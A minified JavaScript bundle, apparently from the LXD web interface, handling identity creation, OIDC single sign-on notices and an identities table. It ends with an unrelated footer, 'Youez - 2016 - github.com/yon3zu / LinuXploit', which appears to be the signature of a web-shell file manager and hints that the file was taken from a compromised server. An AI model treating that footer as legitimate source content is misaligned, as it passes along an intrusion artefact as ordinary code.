y=s=>{a.setSubmitting(!1),i.failure("Identity creation failed",s)},g=s=>{s!==a.values.identityType&&a.resetForm({values:{name:"",groups:[],identityType:s,expiry:"",isCustomExpiry:!1}}),l("detailsForm")},x=s=>{const C=s.groups??[];if(s.identityType===w.TLS)Ae(s.name,C).then(I=>{const k=ne(I);t(s,k)}).catch(I=>{y(I)});else if(s.identityType===w.CLUSTER_LINK){const I={name:s.name,auth_groups:s.groups,type:"unidirectional"};at(JSON.stringify(I)).then(k=>{if(!k){y("Failed to create cluster link identity");return}const b=ne(k);t(s,b)}).catch(k=>{y(k)})}else Re(s.name,s.identityType,C,s.expiry).then(I=>{t(s,I.token)}).catch(I=>{y(I)})},f=Fe().shape({name:te().required("Identity name is required").test("unique-name","An identity with this name already exists",function(s){return s?!p.map(I=>I.name).includes(s):!0}),expiry:te().when("identityType",{is:s=>se.includes(s),then:s=>s.test("valid-expiry-format",z,C=>!C||le.test(C.trim())),otherwise:s=>s.notRequired()})}),a=De({initialValues:{name:"",groups:[],identityType:w.TLS,expiry:"",isCustomExpiry:!1},validationSchema:f,onSubmit:x}),S=new Set(a.values.groups??[]),N=!a.values.name||!!a.errors.name,E=()=>{a.setTouched({},!1),l("typeSelection")};return e.jsxs(n.SidePanel,{loading:u,hasError:!!c,children:[e.jsx(n.SidePanel.Header,{children:e.jsx(n.SidePanel.HeaderTitle,{children:r==="typeSelection"?e.jsx(K,{children:"Choose an identity type"}):e.jsx(it,{linkText:"Choose type",title:L[a.values.identityType].title,onMouseDown:s=>{s.preventDefault()},onClick:E})},r)}),e.jsx(q,{className:"u-no-padding"}),e.jsx(n.SidePanel.Content,{className:"u-no-padding",children:r==="typeSelection"?e.jsx(n.ScrollableContainer,{dependencies:[i.notification],belowIds:["panel-footer"],children:e.jsxs("div",{className:"choose-identity-type",children:[e.jsx(V,{icon:"certificate",title:L[w.TLS].title,subText:L[w.TLS].description,subTextBelowTitle:!0,onClick:()=>{g(w.TLS)}}),e.jsx(V,{icon:"private-key",title:L[w.BEARER_CLIENT].title,subText:L[w.BEARER_CLIENT].description,subTextBelowTitle:!0,onClick:()=>{g(w.BEARER_CLIENT)}}),e.jsx(V,{icon:"private-key",title:L[w.BEARER_DEVLXD].title,subText:L[w.BEARER_DEVLXD].description,subTextBelowTitle:!0,onClick:()=>{g(w.BEARER_DEVLXD)}}),e.jsx(V,{icon:"applications",title:L[w.CLUSTER_LINK].title,subText:L[w.CLUSTER_LINK].description,subTextBelowTitle:!0,onClick:()=>{g(w.CLUSTER_LINK)}})]})}):e.jsxs(e.Fragment,{children:[e.jsx(ot,{formik:a}),se.includes(a.values.identityType)&&e.jsx(Ce,{isCustomExpiry:!!a.values.isCustomExpiry,expiry:a.values.expiry,disabled:N,error:a.values.isCustomExpiry&&a.touched.expiry&&a.errors.expiry?a.errors.expiry:void 0,onIsCustomExpiryChange:s=>{a.setFieldValue("isCustomExpiry",s),s||a.setFieldValue("expiry","")},onExpiryChange:s=>{a.setFieldValue("expiry",s)},onExpiryBlur:()=>{a.setFieldTouched("expiry",!0)}}),e.jsx("label",{htmlFor:"group-selection-table",children:"Auth groups"}),e.jsx(ee,{groups:d,modifiedGroups:S,parentItemName:"",selectedGroups:S,setSelectedGroups:m,toggleGroup:s=>{S.has(s)?S.delete(s):S.add(s),a.setFieldValue("groups",Array.from(S))},scrollDependencies:[d,S.size,i.notification,a],disabled:N})]})}),e.jsx(n.SidePanel.Footer,{className:"u-align--right",children:e.jsx("div",{id:"panel-footer",className:"u-flex u-align--right",children:r==="typeSelection"?e.jsx(n.Button,{appearance:"base",onClick:j,className:"u-no-margin--bottom",children:"Cancel"}):e.jsxs(e.Fragment,{children:[e.jsx(n.Button,{appearance:"base",type:"button",onClick:E,className:"u-no-margin--bottom",children:"Back"}),e.jsx(n.ActionButton,{appearance:"positive",onClick:()=>{a.submitForm()},className:"u-no-margin--bottom",disabled:!a.isValid||a.isSubmitting||!a.values.name||a.values.isCustomExpiry&&!a.values.expiry,loading:a.isSubmitting,title:a.values.isCustomExpiry&&!a.values.expiry?"Please provide a valid expiry date":void 0,children:"Create identity"})]})})})]})},bt=()=>{const t=D(),o=n.useNotify(),i=_(),{openPortal:r,closePortal:l,isOpen:d,Portal:c}=n.usePortal({programmaticallyOpen:!0}),[u,p]=T.useState(""),[m,j]=T.useState({name:"",groups:[],identityType:w.TLS,expiry:"",isCustomExpiry:!1}),h=re[m.identityType];return e.jsxs(e.Fragment,{children:[d&&e.jsx(c,{children:e.jsx(be,{onClose:l,token:u,identity:m,title:h.codeSnippetTitle,notification:h.notification,howToUseCli:h.howToUseCli?.(u),howToUseUi:h.howToUseUi})}),t.panel===X.createIdentity&&e.jsx(St,{onSuccess:(y,g)=>{j(y),p(g),i.invalidateQueries({queryKey:[G.identities]}),t.clear(),o.clear(),r()}})]})},Ct=()=>{const t=[{name:"Auth0",docPath:"/howto/oidc_auth0/"},{name:"Ory Hydra",docPath:"/howto/oidc_ory/"},{name:"Keycloak",docPath:"/howto/oidc_keycloak/"},{name:"Entra ID",docPath:"/howto/oidc_entra_id/"},{name:"Pocket ID",docPath:"/howto/oidc_pocket_id/"}],o=(i,r)=>e.jsx(ie,{docPath:r,children:i});return e.jsxs(n.Notification,{severity:"information",className:"oidc-notification",messageElement:"div",children:[e.jsxs("p",{children:["LXD integrates with external identity providers using"," ",e.jsx("b",{children:"OpenID Connect (OIDC)"})," to provide centralized login management."]}),e.jsx("p",{className:"u-no-margin--bottom",children:"Choose an SSO provider to learn how to connect it to LXD:"}),e.jsx(n.List,{items:t.map(i=>o(i.name,i.docPath)),middot:!0}),e.jsxs("p",{children:["Your provider is not listed? Check our"," ",e.jsx(ie,{docPath:"/howto/oidc/",children:"general OIDC documentation"}),"."]})]})},Tt=({closeModal:t})=>{const o=n.useNotify(),{settings:i,isSettingsLoading:r,settingsError:l}=_e(),{data:d,isLoading:c}=rt(),{data:u=[],isLoading:p,error:m}=lt();if(m)return o.failure("Loading clustered settings failed",m),t(),null;if(l)return o.failure("Loading settings failed",l),t(),null;if(c||r||p)return e.jsx(n.Spinner,{className:"u-loader",text:"Loading...",isMainComponent:!0});const j=[{content:"Group",className:"u-hide"},{content:"Key"},{content:"Value"}],y=dt(d?.configs?.server??{}).filter(g=>g.key.startsWith("oidc")).map(g=>{const x=Me(u,g);return ct(g,!1,x,()=>{},i,f=>o.success(f),"u-hide")});return e.jsxs(e.Fragment,{children:[e.jsx(Ct,{}),e.jsx(q,{className:"u-no-padding"}),e.jsx(n.MainTable,{id:"settings-table",className:"oidc-configuration-table",headers:j,rows:y,emptyStateMsg:"No data to display"})]})},Nt=({close:t})=>{const o=n.useNotify(),i=()=>{o.clear(),t()};return e.jsx(n.Modal,{close:i,className:"edit-oidc-config settings",title:"Single sign-on configuration",children:e.jsx(Tt,{closeModal:i})})},vt=({isDisabled:t,className:o,onClose:i})=>{const{openPortal:r,closePortal:l,isOpen:d,Portal:c}=n.usePortal(),{canEditServerConfiguration:u}=he(),p=()=>{l(),i?.()};return e.jsxs(e.Fragment,{children:[d&&e.jsx(c,{children:e.jsx(Nt,{close:p})}),e.jsxs(n.Button,{onClick:r,className:o,disabled:t||!u(),title:u()?"":"You do not have permission to edit server configuration",hasIcon:!0,children:[e.jsx(n.Icon,{name:"security",className:"auth-option-icon"}),e.jsx("span",{children:"Configure single sign-on"})]})]})},Et=({openPanel:t,className:o,onClose:i})=>{const{canCreateIdentities:r}=he(),l=fe(xe),d=()=>{t(),i?.()},c=o||"u-float-right u-no-margin--bottom",u=o?.includes("p-contextual-menu__link")?"base":"positive";return e.jsxs(n.Button,{appearance:u,className:c,onClick:d,hasIcon:!0,title:r()?"":"You do not have permission to create identities",disabled:!r(),children:[e.jsx(n.Icon,{name:"plus",light:!l}),e.jsx("span",{children:"Create identity"})]})},wt=({openPanel:t})=>{const o=fe(xe),i=o?"p-contextual-menu__link":void 0,r=[e.jsx(vt,{className:i},"oidc-configuration"),e.jsx(Et,{openPanel:t,className:i},"create-identity")];return e.jsx(e.Fragment,{children:o?e.jsx(n.ContextualMenu,{closeOnOutsideClick:!1,toggleLabel:"Actions",position:"left",hasToggleIcon:!0,title:"actions",className:"p-panel__controls",children:l=>e.jsx("span",{children:[...r].map(d=>T.cloneElement(d,{onClose:l}))})}):e.jsx(e.Fragment,{children:r})})},kt=({identity:t})=>{const o=t.expires_at??oe,i=o!==oe,r=Oe(o),l=i?ce(o):"-";return r?e.jsxs(n.Tooltip,{message:"Has expired",position:"right",children:[e.jsx("span",{children:l}),e.jsx(n.Icon,{name:"warning",className:"u-margin-left--small"})]}):l},ae=({identity:t})=>{if(!t.effective_groups)return null;const o=new Set(t.groups??[]),i=t.effective_groups.filter(r=>!o.has(r));return i.length===0?null:e.jsx(n.Tooltip,{className:"u-margin-left--small",message:e.jsxs(e.Fragment,{children:["Additional LXD groups from Identity provider group mappings:",e.jsx(n.List,{className:"u-no-margin--bottom",items:i})]}),children:e.jsxs("span",{tabIndex:0,className:"u-text--muted","aria-label":`${i.length} additional identity provider ${P("group",i.length)}`,children:[" ","+",i.length]})})},Gt=t=>`${t.authentication_method.toUpperCase()} - ${t.type}`,Lt=t=>{const o=Object.keys(L).find(i=>t.startsWith(i));return o?L[o]:void 0},Pt=({identity:t,className:o})=>{const i=Lt(t.type),r=Gt(t),l=e.jsx("span",{className:$e("p-chip is-dense is-inline",o),tabIndex:i?0:void 0,children:e.jsx("span",{className:"p-chip__value u-truncate",children:t.type})});return i?e.jsx(n.Tooltip,{zIndex:1e3,position:"right",positionElementClassName:"identity-type-chip-tooltip-wrapper",tooltipClassName:"identity-type-chip-tooltip",message:e.jsxs(e.Fragment,{children:[e.jsx("div",{className:"p-text--small-caps u-text--muted u-no-margin--bottom",children:"Type"}),e.jsx("div",{className:"identity-type-chip-tooltip-title u-no-margin--top",children:r}),e.jsx("div",{className:"p-text--small-caps u-text--muted",children:"Description"}),e.jsx("div",{children:i.description})]}),children:l}):l},fs=()=>{const t=n.useNotify(),{data:o=[],error:i,isLoading:r}=Se(),{data:l}=Q(),d=D(),[c]=Ue(),[u,p]=T.useState([]),{canEditIdentity:m}=U();T.useEffect(()=>{const s=new Set(o.map(I=>I.id)),C=u.filter(I=>s.has(I));C.length!==u.length&&p(C)},[o]),i&&t.failure("Loading identities failed",i);const j=[{content:"Name",className:"name",sortKey:"name"},{content:"ID",sortKey:"id",className:"identity-id"},{content:"Expires",sortKey:"expires",className:"expires"},{content:"Type",sortKey:"type",className:"type"},{content:"Groups",sortKey:"groups",className:"u-align--right group-count"},{"aria-label":"Actions",className:"u-align--right actions",heading:"Actions"}],h={queries:c.getAll(Ye),authMethod:c.getAll(Ve),systemIdentities:c.get(He)},y=o.filter(s=>!(h.systemIdentities==="hide"&&Ze(s)||!h.queries.every(C=>R(s).toLowerCase().includes(C.toLowerCase())||s.id.toLowerCase().includes(C.toLowerCase()))||h.authMethod.length>0&&!h.authMethod.includes(s.authentication_method))),g=o.filter(s=>u.includes(s.id)),x=y.map(s=>{const C=l?.auth_user_name===s.id,I=()=>{d.openEditIdentity(s.id),p([s.id])},k=()=>{if(m(s))return e.jsxs(e.Fragment,{children:[e.jsx(n.Button,{appearance:"link",dense:!0,onClick:I,children:s.groups?.length||0}),e.jsx(ae,{identity:s})]});const v=P("group",s.groups?.length??0),B=s.groups?.join(`
- `),F=`Assigned ${v}:
- ${B}`;return e.jsxs("div",{title:s.groups?.length?F:"",children:[s.groups?.length||0,e.jsx(ae,{identity:s})]})},b=R(s);return{key:s.id,name:H(s)?"":s.id,className:"u-row",columns:[{content:e.jsxs(e.Fragment,{children:[e.jsx(Z,{type:Y(s.type),value:b})," ",e.jsx(qe,{isVisible:C,children:"You"})]}),role:"rowheader","aria-label":"Name",className:"u-truncate name",title:b},{content:s.id,role:"cell","aria-label":"ID",className:"u-truncate",title:s.id},{content:e.jsx(kt,{identity:s}),role:"cell","aria-label":"Expires",className:"expires"},{content:e.jsx(Pt,{identity:s}),role:"cell","aria-label":"Type",className:"type"},{content:H(s)?"-":k(),role:"cell",className:"u-align--right group-count","aria-label":"Groups for this identity"},{content:!H(s)&&e.jsxs(e.Fragment,{children:[e.jsx(n.Button,{appearance:"base",className:"u-no-margin--bottom",hasIcon:!0,dense:!0,onClick:I,type:"button","aria-label":"Edit identity",title:m(s)?"Edit identity":"You do not have permission to modify this identity",disabled:!m(s),children:e.jsx(n.Icon,{name:"edit"})}),e.jsx(It,{identity:s})]}),className:"u-align--right actions",role:"cell","aria-label":"Actions"}],sortData:{id:s.id,name:b.toLowerCase(),type:s.type.toLowerCase(),expires:s.expires_at??"",groups:s.groups?.length||0}}}),{rows:f,updateSort:a}=Qe({rows:x,defaultSort:"name"}),S=o.filter(s=>!H(s));if(r)return e.jsx(n.Spinner,{className:"u-loader",text:"Loading...",isMainComponent:!0});const N=o.find(s=>s.id===d.identity),E=()=>{const s=x.length>1?`Showing all ${x.length} identities`:"Showing 1 out of 1 identity";return u.length>0?e.jsx(Xe,{totalCount:S.length??0,itemName:"identity",selectedNames:u,setSelectedNames:p,filteredNames:S.map(C=>C.id),hideActions:!!d.panel}):s};return e.jsxs(e.Fragment,{children:[e.jsxs(n.CustomLayout,{mainClassName:"permission-identities-list",contentClassName:"u-no-padding--bottom",header:e.jsxs($,{children:[e.jsxs($.Left,{children:[e.jsx($.Title,{children:e.jsx(K,{children:"Identities"})}),!u.length&&!d.panel&&e.jsx($.Search,{children:e.jsx(Ke,{})}),u.length>0&&e.jsxs("div",{children:[e.jsx(ut,{identities:g,className:"u-no-margin--bottom"}),e.jsx(jt,{identities:g})]})]}),e.jsx($.BaseActions,{children:e.jsx(wt,{openPanel:d.openCreateIdentity})})]}),children:[!d.panel&&e.jsx("div",{className:"row",children:e.jsx(n.NotificationConsumer,{})}),e.jsx(n.Row,{children:e.jsx(n.ScrollableTable,{dependencies:[o],tableId:"identities-table",belowIds:["status-bar"],children:e.jsx(n.TablePagination,{data:f,id:"pagination",itemName:"identity",className:"u-no-margin--top","aria-label":"Table pagination control",description:E(),children:e.jsx(ze,{id:"identities-table",className:"permission-identities-table",headers:j,rows:f,sortable:!0,responsive:!0,emptyStateMsg:"No identities found matching this search",onUpdateSort:a,itemName:"identity",parentName:"",selectedNames:u,setSelectedNames:p,disabledNames:[],filteredNames:S.map(s=>s.id),disableSelect:!!d.panel})})})})]}),e.jsx(bt,{}),d.panel===X.identityGroups&&e.jsx(yt,{identities:g,onClose:()=>{p([])}}),d.panel===X.editIdentity&&N&&e.jsx(ft,{identity:N,onClose:()=>{p([])}})]})};export{fs as default};

Youez - 2016 - github.com/yon3zu
LinuXploit